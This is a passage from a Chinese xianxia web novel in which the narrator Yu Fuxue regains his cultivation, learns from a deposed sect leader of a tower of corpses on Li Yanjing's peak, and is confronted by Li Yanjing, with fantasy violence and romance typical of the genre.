我二者若为一人,那么那个仙人断不可能就此罢休、慨然赴死,不然何谈我的存在?
李晏京、项席、付渚,这三人必有大用。
在幻境与梦境之中,那个我究竟窥见什么天机,我不知晓全部。
但我敢笃定,就算轮回上百世!我也绝不会明知自己要死却什么也不做!
我的存在是否和仙人有关?
我的处境他是否提前料到?
修为尽废有李晏京,记忆丢失有付渚。
那魔蛊的解决办法会不会在项席身上?难不成要让他心甘情愿接受魔蛊的转移?
而且,就项席的态度而言,李晏京当年怎么会将他分尸封印?
我隐晦地打量项席,暂时压下心中疑虑,见他愤然,我有心转移话题,再谈仙人之死的事,项席怕是会失控。
于是我将参禅当时在溪城所言悉数道出,末了问道:“可有此事?”
“天生就易走向歪道,为人偏执,心思太重,难堪大用……天煞孤星的命?”
项席被我引走注意力,他眨眨眼,声音带着疑惑。
“老和尚睡太久糊涂了吧?这不是你对李晏京说的话吗?”
“这个我记得,那次他被你打得不成人样,你让他跪下,说什么想不清楚不准起来,不过具体什么事我不清楚,看着挺严重的。”
原来是我对李晏京说的。
行至魔族之地,我们走出飞舟。
项席在众人面前话少,端起魔尊的架势,皮笑肉不笑地向前走。
项野得到治疗,已经能正常行动,我以为克己剑把他浑身骨头都震碎了。
项席在前,我稍落后,项野下飞舟后快走几步跟了上来,在我身侧与我并排。
一路上两边驻守的魔修目不斜视,项席走近,他们才会大声喊道:“恭迎魔尊归来。”
我能理解之前千面遮挡,项野好奇我的长相,他若大大方方地看,我并非不准。
可这人一路偷偷侧目,多次欲言又止,让我无法安静思考,我只能斜眸睨他。
“少公子伤好了?”
项席脚步微顿,很快若无其事地接着向前。
项野先是瞥了眼项席,见他没有反应,才和我说:“好了,我自小就比旁人耐打,恢复得很快……有劳挂怀?”
尾句别扭,连他自己说得也不确定,这是因为项席对我的态度很好,他也跟着客气?
“少公子年纪轻轻本事不小,可以和克己剑打得三七开,郁某佩服。”
项野眉眼稍见喜色,“李晏京那老东西不知道为什么收着劲儿,三七开不敢,但此番
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收获也不小,我待会就去闭关。”
项席停下步子,踩在最后一层台阶上,回头拍拍项野的脑袋,手臂轻展而过,数道流光从他袖中飞出。
他的声音暗沉凌厉,“行,此番不错,这些拿去。然后现在给我滚去闭关,若毫无精进,你小叔和我都要断你一条腿。”
项野脸色瞬白,立刻伸手一捞,招呼都不打,卷走法宝消失不见。
我不由觉得好笑,“真打?”
可能项野之前叫李晏京老东西叫习惯了,我没提醒他,他父亲项席可是和李晏京岁数相近,这不也在骂项席是老东西吗?
项席哼笑一声,侧身伸出手臂,“吓他而已,就像你当年喜欢逗我们,请。”
进殿后,我四处打量,手腕始终搭在腰间暗月剑柄,殿内无人,灯光昏暗。陈设如皇城大殿,能想象项席高坐俯瞰魔修的模样。
项席带我兜兜转转绕到后方,经过多次阵法传送,来到一处僻静的后殿。
他指着廊柱与石砖,道:“这里从未有别人来过,这些是你曾经刻下的阵法,你的事我听说了,天道总喜欢往李晏京身边塞许多和你相似的人,从长相到性格,无所不用其极。”
“我被封印多年,天道应当从未停止试探李晏京,否则你当初都不会出现在刑台,早让他护走了。”
我走到廊柱前细细查看,无论怎么瞧,这些都只是栩栩如生的浮雕而已。
“他当初试探过我,让我选两条路。”
我伸手轻触,眼前光芒迅速闪过,仙力如细丝勾勒出古朴文字,浮雕欲活动起来。
我收手后,它们全都归于沉寂。
项席站到我身旁,他同样伸出手,只是在碰到廊柱前一寸时,手指瞬间焦黑一片,无声无息地就化作碎屑掉落。
“那就没错了,在天道有意勾引下,不知道他受过多少个‘你’的欺骗,但现在看来,他仍坚守最后的一丝清明?”
项席手指的伤以极慢的速度在恢复,那蔓延上来的红线正在绕着指骨织就他的指尖,和碧泉镇诡渡傅拦腰折断时黏连的东西相似。
“好像只是潜意识。”
项席以身示法,打消我的疑虑,我便开始琢磨使用泣株一事。
当务之急,我得恢复修为,程月舒的劫云被我打散一次,却并非不能再进元婴。
等手指恢复,项席垂眸搓搓指尖,“看来是到了用这地方的时候了?”
他弯起眼睛,后退数步,“李晏京那边我盯着,仙人且安心调养,至于箴言,我会把矛头朝我身上引,应当能混一段时间。”
我正欲进殿,闻言,敏锐地察觉到了些不对劲,我回眸望去,项席冲我扯起嘴角微笑,一派坦然,“仙人?”
我眼眸稍转,淡淡问道:“项席,说了这么多,你还没告诉我,以次等诡渡傅缝就身体,不计代价的和李晏京相抗,帮我吸引箴言压力……”
“种种作为,堪称体贴至极。”
我喟叹一声,其实很满意项席到现在为止的所作所为,他背后是何原因,我本不想管。
项席好像猜到我要说什么,他淡去笑容,目光仍盯着我,一旦不动不语,他便毫无生气可言。
我淡声道:“你此番匆匆复活,是否命不久矣?”
44. 王卿尘的遁逃
项席凝视我几个瞬息,忽地再次笑开,语气轻佻混不正经。
“怎么可能呢?仙人,”他摊开手,“我这不是活蹦乱跳的吗?要不我再去找李晏京打上几回让你看看?”
“真没有?”我不太相信。
项席摸摸下巴,斩钉截铁:“没有。可这我怎么证明?你亲眼看我被拆开再缝一次?”
我有些无言,没有再探究下去的心思,本想请项席向孟竹臣传个话,可顾及到他们的安全,我还是打消念头,什么也没说。
“知道了。”
至于项席,他身为魔尊,有个被魔君压半头的儿子,按他表现出的在乎程度,应当不会在现阶段放任他自己出事,遂就此作罢。
走进殿内搜寻一番,除却典籍法诀,还有大部分的无字之书陈列于书架。
或许这些书曾经布满图画与文字,只是随着仙人死亡,全都消失不见。
书架最右侧的角落有一方盒,打开看去,其内静静躺着个瓷娃娃,做工粗糙,曾拦腰而断,又被重新粘合。
也不知是谁送的。
盖上盒盖,我轻晃方盒,不出所料地找到个可活动的角度,扭转盒身,书架从中分开,露出后面的石室。
我看着石室内灵晶接触到灵气逐渐亮起,只感叹那仙人与我的习惯一般无二。
我边走边挑出储物戒内的泣株。
它的种子像一粒小黑球,实在太小,捏在指尖都看不出来,若是掉在地上,只怕要打着灯笼贴地寻找。
“类仙人?谁取的名儿?”
想起它的别名,我嗤笑一声,将泣株种子凑到眼前对着灵晶散发的光看。
“仙人尚且自顾不暇,无从怜惜世间,一颗仙株而已,倒是称起仙人来了。”
它真的能替代灵脉?是“我”留给我的后手?这是否又是天道的多重陷阱?
我权衡片刻,终究还是在石室正中央盘腿而坐,翻掌拿出匕首,深吸一口气,直接扎入丹田,顺着腹部横向划去。
是陷阱又如何?
修为!我需要修为!
程月舒此人,我定要其付出代价!
剧痛传来,鲜血涌出。
我眉头轻蹙,身体微颤,手却极其稳当,用力剖开腹部,在刑台的一幕幕浮现在我的眼前,一时间我甚至忘记呼吸。
腹中幽冥火膨胀一瞬,让我顷刻间回神,我眉眼骤沉,甩手扔出匕首,哐啷一声,匕首带着血砸在墙根。
为避免泣株扎根不到位,我只能刺得深一些,伤口宽一些,好亲手把种子放到丹田的核心位置。
黑衣浸染血迹并不明显,在昏暗的室内,我无法判断我流了多少血。
我捏着泣株种子的手发颤,指尖穿过腹部伤口,用力将其送入腹中。在即将靠近幽冥火时,指腹间传来挣扎的刺痛。
我眼眸发亮,几乎要呵笑出声。
泣株既然有感知天地的本事,又怎么会是一粒任人拿捏的凡种?我能感知到它不想靠近幽冥火,它不想被炼化。
它带着我的手震颤,搅得伤口生疼,我额间冷汗涔涔,弓着背以头抵地,嘴唇都在抖。
可我理智尚存,从内调动幽冥火捆住我的手,从外用另一只手抓住胳膊,分毫不让。
幽冥火的寒气冻住我的手腕,并逐渐蔓延,火焰伸出一缕,飞速从我指腹勾出泣株,在那粒种子被拽入丹田内核后,我才拿出血淋淋的手,歪着躺倒在地上。
室内灵晶光芒大盛,金色阵法猛然勾勒于墙,自右起,逐一呈现,最后是头顶与地面。
腰间仙铃轻晃,慢慢浮起,浓郁精纯的灵气从阵法中引动而出,腹部伤口眨眼便痊愈。
长睫不断颤动,瞧见角落里的匕首,我喘着粗气笑道:“还好……”我已经习惯对自己下狠手了。
大量灵气滋补,包裹在幽冥火中的泣株挣扎渐消,我闭上眼,神识坠入黑暗。
两日后,石室门打开,我扶着墙走出通道,黑沉沉的眸中无光。
书架重新合拢,徒留灵晶微光照着室内满墙满地的鲜血。
我的视线瞥见角落的方盒时,才似有所感,不自觉走近再次打开。我小心翼翼地拿出那丑陋的瓷娃娃,垂眸抚过难以修复的裂痕。
原来是李晏京做的,被我摔坏了。
“……哪里像我。”
时间静静走过,记忆翻涌的混沌感慢慢消散,我神智渐清,想起现在我是玄清宗的郁负雪,而非仙人。
缓慢地眨了两下眼睛,我将瓷娃娃放回原位并盖好,伸手吸纳桌上的暗月剑。
抹开黏在脸颊边染血的白发,我走出殿门,眨眼间,染血的玄衣消失不见,白发一尘不染,浑身再无一丝狼狈的痕迹。
庭院一片焦黑,到处都是雷劈过的痕迹,门前有一道明显的泾渭线隔开,一半如初一半漆黑碎裂。
我眺望远处,眼中光芒亮起,神识掠出千里,很快就在万千人群中锁定项席,同时,察觉到什么的项席抬起头,同我的神识遥遥相望。
我眼瞳的一圈光淡去,迈出一步,场景在须臾间转换,下一瞬,我出现在魔尊内殿中。
项席正斜坐在椅子上,一只腿支起,坐没坐相,见我忽然出现,他当即便要起身,我竖起一指靠在唇前,无声无息。
项野背对着我,还不知身后多出个人。
他双手背在身后,模样瞧着是一板一眼,实际却望着地砖缝,一边走神一边汇报。
“父亲,那王卿尘仍赖着不走,怎么办?一个正道掌门,非要在我们魔族领域待着,是否为正道即将攻打我们的借口?”
“王卿尘来魔域赖着不走?”
这可不像那人会做出来的事。
我突然开口,项野吓了一跳,想也不想便以魔气聚集掌心,全力朝我心口轰去。
我手扣灵力和他掌心相对,脚下未移半分,魔气与灵气相撞,桌上杯盏、墙角花瓶尽数碎裂,项野连连倒退,被项席在背后托了一把才稳住身形。
他捂住心口呆愣地看着我,墙上不断摇晃的挂画终于咔哒落地,堆成一叠。
项野回过神,翻指间那点钝痛便消散,他站直身体震惊道:“郁负雪?你不是……”
这几日因箴言引至项席身上,魔族潜入不少包藏祸心之人,其中不乏轻视魔尊的魔修——多为魔君暗棋。
项野来汇报时,多次撞见暗杀他父亲的行为,出手只是条件反射。
项席不耐烦地咂舌起身,在他后脑勺狠狠扇了一巴掌,“滚吧,连一掌都挨不住,磨磨蹭蹭的还不去闭关。”
项野弯腰,捂住脑袋,眉头都皱在一起,“还不是准备闭关时,半路碰见王卿尘那狗……”
我淡笑看着项野,项席更是没有说话,用那无神的眼神冷冷地瞪他。
项野脑子转得快,品出些他无法融
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入的气氛,在我和项席之间看了又看,咽下后面的话,咧嘴一笑,指着外面。
“我闭嘴,那我去看着王卿尘,防止他干坏事儿,你们有事先谈。”
目送项野跑出殿外,化作一道光朝西边行去,我收回视线看向项席。
他虽仍是那副模样,但我却觉得,那双红色眼眸应是亮晶晶的。
“他倒是有趣,像你。”我率先道。
项席扬眉,弯起眼睛笑道:“还以为仙人你不好奇我的事,项野他是一魔莲所化,我以精血滴养,能不像我吗?”
为什么身为魔尊,子嗣却与魔族女修无关,反倒是择一魔莲。
个中缘由,我没再问下去。
“王卿尘?”我提醒道。
一边问,我一边挥手,掉落的字画重新升起挂回原位,碎瓷片聚拢成团,我猛地攥拳,它们便悉数化作齑粉飞出殿外。
项席的目光跟随我的动作,透露着些许痴迷,可他分明比我修为更甚。
“我正要和你说呢,”他红眸微转,“王卿尘被玄清宗除名了,他现在是前掌门。”
“两日前,他登上李晏京的无名峰,毁掉了后山的一个什么高阁,然后侥幸逃脱,仓惶遁走,重伤难抵之际刚好撞见项野,晕了一天,醒来就不肯走了。”
那个后山晶莹剔透的高阁禁地?
说起来,我之前好奇过里面有什么,只是还没来得及探查就出了各种事故。
王卿尘他不是一直对李晏京避而远之的吗?他究竟看见什么,又出于何种原因才动手触碰无名峰的禁地?
要知道,就算李晏京记忆有损、道心有缺,修为也不会不敌一个王卿尘,他南玄仙尊的名头可是在正魔大战中实打实杀出来的。
“那玄清宗现在谁主事?”
可别告诉我是季无涯。
项席观我神色道:“李晏京呗。”
“据我的人说,李晏京回去之后就没去过无名峰,登仙路进度滞缓。”
“只是那个夺你金丹的程月舒修为精进极快,还在长垣……好像是叫这名儿吧?程月舒在他的帮助下突破元婴,成功进阶后期。”
我眼眸微闪,硬是听得笑出声,“两日,算上逢仙岛当日也才三日,玄清宗上下,各个门派,就无一人觉得意外?”
项席摇头:“不曾。”
他对着天上指了指,眼眸并无笑意,“还不是那个能耐颇大,现在世人都夸他天才,是能早日铲除我的新星。”
当真是魔修人人得而诛之。
“李晏京对此没有反应?”
项席简单道:“王卿尘逃后,他便闭了关,决策事务等照样能通过传讯灵鸟送入殿内,也有灵文字回应,只是对程月舒修为的事毫无反应,哪怕其本人在殿前传讯叩问。”
我颔首,看来李晏京将我的话听进去了,可他闭关不出又是什么意思?
“多谢。”我起身,准备去找王卿尘。
项席嘴角微撇,像是听不惯我如此客气,他道:“这就要走了?我送你?我还没恭喜你恢复修为呢。”
我斜睨项席,轻易看透他的想法,学着过去斥他:“去看王卿尘而已,项席,你现在也不小了,能别来这委屈的一套吗?”
项席立刻展颜而笑,两指侧叩太阳穴一瞬后挪开:“好的仙人,那不打扰了,我去找找我那好兄弟的麻烦。”
也就是现任魔君。
45. 那高阁之中是
我们谁也没提魔蛊的事。
和项席分开后,我便去寻王卿尘。
上次来魔族时,我还是云秀峰的大师兄,为救一伙即将被献祭的人奴,整个魔族乌烟瘴气,混乱不堪。
魔君管辖松散,魔修们自然生出许多极欲,暴怒、贪婪等情绪滋养着魔域。
连同被划分在魔族领域范围内的人,都是自私自利者居多。
没人觉得有什么不对,强者为尊刻在每个人的骨子里。而人奴最为繁多且低贱,是魔修们动辄打骂的对象。
现如今倒是没再看见一个人奴,飞舟停泊那日所见魔修也大不相同,各个均显精锐之气,是为项席部下。
可见项席虽然入魔,但本性却始终如一,不曾改变太多,比如,拿人命开玩笑这种事,他是万万做不出的。
那李晏京当年为何要与他人围剿项席?
拿着项席给的令牌,一路来到王卿尘的看押地,径直推开门,刚好撞见出来的项野。
只见他眉头紧锁,抬眼看我时,眼底还有未消散的烦躁。
“少公子?谁惹你了?”我停下脚步。
“没有,你来得正好,赶紧把你们掌门领走吧,唧唧歪歪要求颇多,他当他在哪儿?”
我若有所思地点头,“知道了。”
在项野擦肩而过时想起什么,我又叫住他,“少公子,说起来从逢仙岛认识到现在,我还没送过见面礼吧?”
项野自然察觉到我同项席关系不凡,他虽看起来如往常一样对待我,可举手投足间再没像岛上那样随意过。
“你想做什么?虽然不知为什么父亲没有取你的血,但是郁负雪,你收买我是没有用的。”
我能感觉到他不讨厌我,但出于身份和立场,对我仍保持警惕。
我拿出个水滴模样的金属法宝抛给他,直截了当地说:“你大可以给魔尊看。魔蛊我尚未取出,性命仍系于你父亲不是吗?他要我生,我便生,要我死,我便死。”
项野双手接住,神色不定地看着我。
少公子最终还是收下了,也不知我哪里碰巧合到他的胃口,项野扬眉笑道:
“郁负雪,如果你生在我们魔族该多好,有父亲在,你定不会落得如今这个下场。”
对此,我不置可否。
王卿尘被关押在魔族地牢,这里通道狭窄曲折,寒冷阴湿,让我想起在玄清宗悬牢被吊着的日子。
那时候可真难熬,偏偏我还喜欢心存幻想,以为程月舒只是窥见我丑陋的心思,谁知道他从始至终都将我看作敌人。
真是够蠢。
未等看守的魔修询问,我指尖微动,亮出令牌,魔尊的气息萦绕其上,是无法伪装的。
见令牌如见魔尊,那四个魔修齐齐起身抚肩行礼,“恭迎魔尊。”
我淡声拒绝了他们的引路。
王卿尘被关在最里面,其他囚犯的房间里是稻草、锁链、潮湿的水洼,他倒是舒坦,还有毯子和矮桌。
进门有隔音法阵,声音透不出去。
为防止魔修有手段偷听,进去后我连出四五道隔音阵,最后一个遮挡视线的法阵落下来我才施施然坐到王卿尘的对面。
王卿尘仍是那副笑眯眯的模样,旧日去云秀峰时发生的不快好似全没发生过,“贤侄,又得见你风采。”
“掌门好像一点儿也不意外?”
我暗自打量王卿尘。
王卿尘嘬口茶,“意外,怎么不意外。修真界每天跌入泥潭的不知凡几,可跌进去又爬上来的少,像贤侄这般速度的,更少。”
我面前也有一杯茶,我没喝。
“恰有机遇罢了。”
王卿尘笑着摇头,“带着箴言的机遇?”
“白发玄衣修真界,指的是谁,大家宁可错杀也绝不会放过,贤侄倒是看起来没什么压力?”
“我有没有压力不重要,左右也已经不是玄清宗的人,”我垂眸盯着杯中竖直悬浮的一根茶叶,能看见水面扭曲的自己。
“倒是您,好端端的宗主之位不坐,偏去招惹南玄仙尊,毁人高阁,逃之夭夭,是觉得现在还不够乱?”
王卿尘闻言,眼角带着笑,眼神里却没什么笑意,他轻吸口气,“贤侄在峰上时,仙尊就没让你进去过?”
“我像有好奇心的人?”
王卿尘似有所悟地点头,“没去也好。”
王卿尘少说也有几百岁,是经历过大场面的人,又贵为正道大宗宗主,李晏京在禁地高阁中藏着什么东西,能让一向端水且不管大事的王卿尘出手。
“若是再来一次,我绝不会动手毁那高阁,也绝不会听程月舒的话,跑上无名峰。”
王卿尘回过神,笑着对我说。
“程月舒?”
王卿尘颔首,也不避讳,他直言道:“他风头不小,近些时日长垣长老闭关不出,他就常跟在仙尊身边当左右手,他传话说仙尊有事相商,我没多想。”
我淡淡扫他一眼,眼中意味明显,王卿尘看出来了,“别这么看我,贤侄,昔日阻拦你的事我可并不后悔,说到底,我是个宗主。”
“所以那里面有什么?”
我不欲追究过去的事,事已至此。就算那日我成功按时闯入云秀峰,只怕季无涯也会一掌将我打个半死。
王卿尘默然片刻,搁下杯盏,他声音艰涩:“……尸体。”
我拧眉看他。
王卿尘目光沉沉,眼瞳震颤,他想起当日所见,头疼地闭上眼,重复道:“仙尊峰上的高阁中,藏满了堆成山的尸体。”
南玄仙尊威名赫赫,高居峰顶,无大事很少传唤人前去,程月舒又是长垣仙君座下高徒,代师尊行该有的传话责任很正常。
再者,现在魔道蠢蠢欲动,正道已多次连夜召集各派掌门,开始着手寻找秘境机遇,势必要积攒力量同魔修抗衡。
他刚结束集会,正是脑中乱成浆糊的时候,是以程月舒找来时,他根本没有多想。
李晏京脾气难以捉摸也不是一天两天的事,王卿尘当时随口问过,程月舒回他一个有些难办的尬笑。
好吧,这人也不知道。
王卿尘那时是这么想的,他扭过头捏捏鼻梁,也就刚好错过程月舒不合时宜的笑意。
无名峰清净,上面的生物从不吵闹,一个个像活着的画。
王卿尘去时,峰上不见生灵,他内心习惯性地打起警惕,但重点却只是放在不能发出声响上——他以为李晏京喜静的癖好更严重了。
他眺望远方晶莹高阁,按约定前往。
高阁晶莹却不透明,从外看只能见白墙琉璃瓦,里面有何名堂,无人知晓。
王卿尘到后恭恭敬敬行礼,“仙尊。”
周遭静得只剩下他的呼吸,这也是为什么他不太愿意来无名峰。
这里太压抑,堪比一口巨大的活棺材,王卿尘多次怀疑,如果哪天触碰到李晏京的逆鳞,下一秒他就会埋骨此地。
只是他没想到这一天来的这么快。
“我当时也不知道自己在想什么,听见响动,我居然就大胆进去了。”王卿尘吹走浮到他唇边的茶叶。
进去的瞬间,整个人像穿过一层膜,现在他知道,那是法阵,可当时他没有思考,剩下一只脚也迈了进去。
眼前骤亮,王卿尘抬袖挡住视线,再放下时,刺目光芒带来的短暂失明慢慢消散,他却浑身瞬寒,背后的冷汗一下子便冒出来。
他不自觉地走近,步履踩在玉砖上,每一步都回荡在高阁之内,等踩到最边缘尸体的衣袖,他才惊觉——
这一切不是幻觉。
王卿尘不知道该如何形容他内心的震撼与恐惧,他的眼珠不断移动,和所有死不瞑目的人对视。
终于,他脑中的弦猛地崩断。
被无端压下去的恐惧十倍翻涌上来,王卿尘咬紧牙关,手中掐诀,放轻声音便要离开。
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可他后退一步,却猛地撞到什么。
王卿尘的心跳骤停!
他想,刚刚这里有柱子吗?
李晏京不知在这儿站了多久,他慢慢地叹了口气,声音自王卿尘身后传来,嗓音低沉,吐字缓慢。
透着无边的阴暗。
“宗主这是看见了什么?”
浓烈杀意如海水般裹住王卿尘!
王卿尘的手一抖,那用来附庸风雅的杯盏从他指间滑落,他轻颤着指尖,低头拿起杯盏,掸去下摆的茶水。
我将我面前这杯未动过的推至他面前。
“什么尸体?”
王卿尘歪着头看地牢的墙,身体未动,只眼珠看向我,他意味不明地笑了一下。
“哦,没谁,全是贤侄你的脸而已。”
从看押地走出,我陷入沉思。
王卿尘说,他能逃出来说不定也在程月舒的意料之中,不管是我还是魔尊,如今都是正道眼中钉。
他说,他在濒死之际想起,宗门每隔一段时间就会出现很多同我相似的人,是什么原因他不太想知道。
“王某平生诉求不过是利用宗门之势好好保护凡人,至于别的……”他停顿,“我不是很在乎。”
“贤侄,人这辈子过得太长也不好,我没有那么些个多伟大的追求,不然我早巴结仙尊了,我无意针对你,先前是我的不是,在这儿向你道歉。”
“数百年前的正魔大战有一次就够了,修士打得再欢,也不能人人飞升,争夺资源再激烈,也不是人人都成尊者。遭殃的始终是凡人啊……”
沿着蜿蜒曲折的长廊行走,周围的魔修越来越少,没有人敢拦我。
王卿尘知道什么,又想起多少?
作为仙人时遇见的小乞儿转眼间就成了玄清宗的宗主,当真是世事难料。
只有我自己知道,在那小乞丐于逆流中拉住“我”时,我已经无意识地去窥探过他的命运,也不枉塞在他怀中的馒头了。
忽然,身后传来轻微响动。
我眉眼瞬沉,回过神转身以灵力阻挡,身后空无一人,法诀还未近我周身三寸就被灵力崩散,那腾腾杀意再无踪迹。
我掌心再次聚集灵力,仔细看过长廊旁的池底、草丛和柱后。
仿佛刚刚的一切只是我的幻觉。
思索片刻,我故意卖出破绽。眼前一花,在人影初现时,小型阵法浮于掌心,寒冰凝成的刺瞬发而出,直指其命脉。
只是未等我得手,威压顿至,冰刺碎裂,掉落在地,逐渐消散,而我也被牢牢地钉在墙上,脑后及腰肢各有一只手。
李晏京和我同在建筑背光处,我被他的威压固定,手脚均无法动弹。
他忽然凑近,我闻见浓重的血腥味。
可我无法开口询问。
他捕捉到我的唇,呼吸微乱,吻得急切,亲口描摹我的唇形,无声地表达他的思念。
又不讲理地吞咽我可能发出的音调,以其它声音盖过,手掌贴于我的后颈,拇指不安分地蹭过我的耳垂。
我只在最初如临大敌般紧绷身体。
李晏京按在我后腰的手顺着挪开,一边阖着眼帘吻我,一边摸索到我的手。
他睁开眼,慢慢抬眸和我对视,手指一一从我指缝穿过,十指相扣,掌心相贴。
很快,他停下动作退开一些,收起禁锢我的威压,沉默半晌,以虔诚的轻啄收尾。
只因我没有回应。
“郁负雪。”
李晏京再次凑近,我猛地偏过头,拭去唇角口水,他动作微顿,转而以鼻尖在我颈侧轻蹭,薄唇将碰未碰,带起一阵痒意。
我眼眸暗暗,漫不经心地应了一声。
时过境迁,游刃有余的是我,无计可施的是他,我已不需要他的帮助,他大可以继续做他的南玄仙尊。
“你刚刚要杀我?”
我抿去唇上残留的感觉,问道。
46. 我不是你的人
李晏京眉头紧蹙,他张张嘴,却未能说出什么,整个人忽然微晃,眼睛半阖朝我栽倒。
我本凝神等他解释,被他这么一撞,顿时后撤几步,又撞在墙上。
李晏京歪着身子靠在我的肩头,气息不稳,眉宇间都聚着痛苦,呼吸粗沉,好像在压抑着什么。
我勉强扶着他的肩膀,侧眸看去,他半阖的眼眸里一片混沌。
“仙尊?仙尊?”
不见他有丝毫反应。
也不知他周身的血腥气是从哪儿来的,莫不是先去地牢见过王卿尘,把他灭了口?
在这待下去也不是办法。
我有心把李晏京交给项席,但现在的他并无记忆,正值多事之秋,两人打起来指不定会闹出什么事。
即使李晏京曾说过,他希望这世间乱起来。
法阵光芒闪过,我将他带回住处安置。
焦黑一片的院内已经在廊柱法阵的运行下恢复如初,连同碎裂的地砖也变回原样。
把李晏京丢到床榻之上,我手腕轻绕,并指使出清尘诀,那味道消散一瞬,很快重新浮起,浓郁程度无端令人胆寒。
来回几次,诸多疗愈法诀笼罩,均是无果。
见状,我只能暂且停下,坐在床榻边看他,或许在我不知道的时候发生了什么,会和他闭关有关吗?
我不得不承认,李晏京不再是记忆中那个只会跟在仙人身后默默无闻的影子了,他有自己的想法,有自己的考量。
说不定哪一天他记忆回来,会发现,我比他心中那光风霁月的仙人要更狠、更阴郁。
我面无表情地垂眸,白发歪斜搭在胳膊上,我的指尖从李晏京的眉心划到薄唇,又越过他的喉结,握住他身侧的胳膊。
“如果趁现在把你的手……”
未说完,我便停顿下来,魂丝哪里是这么容易去除的东西。
如今天道虎视眈眈,百年前被我损伤的元气隐隐有完满之势。
而现在的我,想从天道手中活下去,何其困难,这我心知肚明。
王卿尘虽不如李晏京他们,可是他的感觉却不差,想必程月舒是担心再这样下去,王卿尘迟早会成为他的阻力。
遂借李晏京之手,将他除掉。
我是万万不可能龟缩于魔域,等待程月舒以及天道壮大,然后将我吞噬,王卿尘不甚在意修为,可我不一样。
随着记忆的恢复,我只会更加渴望力量。
见过王卿尘,我欲前往妖族,只是半路多出个李晏京,硬生生让我转了心思。
许是因为我已经很久没和李晏京这样静静相处,也许是曾经亲手布置的殿院让我心安,我也想稍微休息一下。
哪怕只是……几个时辰。
恍惚间,在梦中,那些沉下去的记忆再次翻涌浮现。
我和李晏京少有歇下来的时候,准确来说,白玉仙都将灭后,我除却修养,几乎都在奔波布局。
李晏京年岁尚轻,那点心思纵使是想遮也遮不住,他铆足劲儿拔高自己,不惜代价地提升修为,哪怕曾经被鞭笞,也很快整肃自己,重新往上爬。
他始终仰望着我。
彼时我在凡间已有多处庙宇,耳边常有祈祷祝福之音,有强有弱,内容各种各样,凡人的愿望简单,不过是身体健康、万事如意、财源滚滚之类。
那日耳边声音渐少,我坐在一酒楼屋脊上,看着一天将尽,天边橙紫的晚霞悄悄溜走。
等天黑之后,镇子上所有悬挂的花灯像浪一样,从那头一路燃起,光芒点亮整座城镇。
李晏京轻身跃上屋脊,来到我的身边。
自我得古籍,他告知道心后,我便无声默许了他的靠近。李晏京有很多小动作,他喜欢离我很近,无论何时回头,总从他那双眼睛里看见我,明明我是翻云覆雨的仙人,可他离开宗门后,每次遇到危险,都先挡在我面前。
笨拙又固执,我从不回应他过于热切的目光,还贯会泼他冷水,也不知他喜欢什么。
多半是执念所致的错觉。
不过刚好,我需要他的眼睛。
“落花会?”
原来是过节日,难怪下面如此热闹。
我对此没有太大兴趣,凡人对节日格外热衷,白玉仙都却从不过节,他们已然超脱,只有些许还喜欢留着凡间的性格与喜好。不巧,全都是喜欢凑到我跟前的。
连我自己也未察觉,此刻我的神情隐在黑暗中,满脸茫然与落寞。
李晏京很少提出什么要求,破妄眼是随人所生,若我贸然剜去,只怕其神通会消散,沦为平凡肉眼。
又好几日没碰见过天道的狗,也没有魔修作乱,我心情尚可,他邀请我逛落花会,我也就答应了。
街道上凡人颇多,摩肩接踵,李晏京走在我的身侧,胳膊虚环,有心替我挡开行人。
他小心地觑我神色,见我没有动怒的征象,也就放心许多。
“传闻中,落花会是为纪念一对永世难见的爱人。”李晏京的声音缓缓在我耳边响起。
他的音色已然改变,年少时青涩,现在声音低沉,说话舒缓,同周围嚷嚷的叫卖声很不一样,让人不自觉就跟着听。
“女子以武得道升仙,男子困于红尘,为凡人所累,可后来人们才知晓,女子成仙是为红尘,而男子留世,是为成全女子,只因时仙位只得一人,他知爱人心有鸿鹄之志,理应跳出生死轮回,用悬于天,而女子成仙庇护红尘,却也是庇护他。”
李晏京眼中倒映千万花灯,还有来来往往的凡人,“可为人一生,于仙人不过转眼间,男子命短,早年气运尽数奉于爱人,女子苦求轮回不见,所过之处常落花满地,如仙人落泪,后人为纪念两人的情,定以落花会。”
我听罢,只觉得他话里有话。
“逞一时之勇。”我没头没尾道,可李晏京却知道我所指为何。
他轻轻勾了下唇角,“仙人是觉他们为爱愚钝?可我觉得,为心爱之人奉献,是心甘情愿的事,如果一方后悔万分,那只能说是虚假的爱,如果我喜欢一个人,怕是心肝也想掏出来给他看。”
偏执之理。
我眉头微皱,未表一言。凡人有七情六欲十分正常,我不信世间有人做事一生中从不后悔,纵使是身为仙人的我,亦有后悔的时候。
但我的心跳却吵闹不休。
我说他偏执,可我不正是享受着他毫无保留的追随与爱慕吗?
“晏京倒是痴情。”
面上我不动声色地敷衍。
他好像十分喜欢我叫他的名字,每次这样叫,他的眼神都会有所变化。
李晏京这时候会露出一种十分贪婪的神色,我曾在凡间的山野间见过,是急切想要获得什么的野心。
“来!瞧一瞧看一看诶!新鲜的落花糕!吃了保管有情人终成眷属!生生世世永不分离!”
“各色花灯看一看嘞!兔儿狐狸和白蛇!要什么我
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都能给你做出来!”
“陶瓷小人儿!可以特制!红线一拴,落花会上结良缘,生同衾死同穴,来世再续前世缘呐!”
李晏京看过去,视线扫过摊位后转头看我,我们身处凡人中,只容貌有所遮挡,他得着空便叫我名字,恰如此时,格外顺口。
“郁负雪,”李晏京眼中含笑,面上没有太大表情,“可有喜欢的?天上不比人间,想来很冷。”
我对凡物好像无太大兴趣。
但李晏京心中念我,他不知何时摸清了连我自己也未曾察觉的喜好,出手阔绰,将好物一一买来赠予我。
摊主各个喜笑颜开,落花会本就热闹,在乱世中得财,便比旁人又多几分立世之本。
从街头行至街尾,李晏京的兴致不减反增,到最后,因他怀抱物品颇多,顶上挂着的合叶灯笼被人一拉,砰地一声炸开。
镇民们新鲜收集的花瓣纷纷落下,将我两人淹没在落花雨中。
李晏京在笑,镇民们在笑,我耳中庙宇传来的凡人声音也带着笑,他们每个人都有不同的希冀,独我格格不入。
在落花中我只觉窒息。
李晏京黑沉沉的眼睛望着我,见我面无表情、不言不语,他也微敛神色,后知后觉意识到,街道其实很短,短到不足以打动仙人玉石般坚硬的心。
一路走来,只是因为我的纵容,他才能有表达心思的机会,如果我不悦,他的眼会再也寻不到我的踪迹。
“……不好意思。”
李晏京伸出手,又在半路停下,他食指轻弹,我们周围多出遮掩气息的阵。
凡人们神情空茫一瞬,低头看着自己的双手,不明白为何在此地对着空气笑。
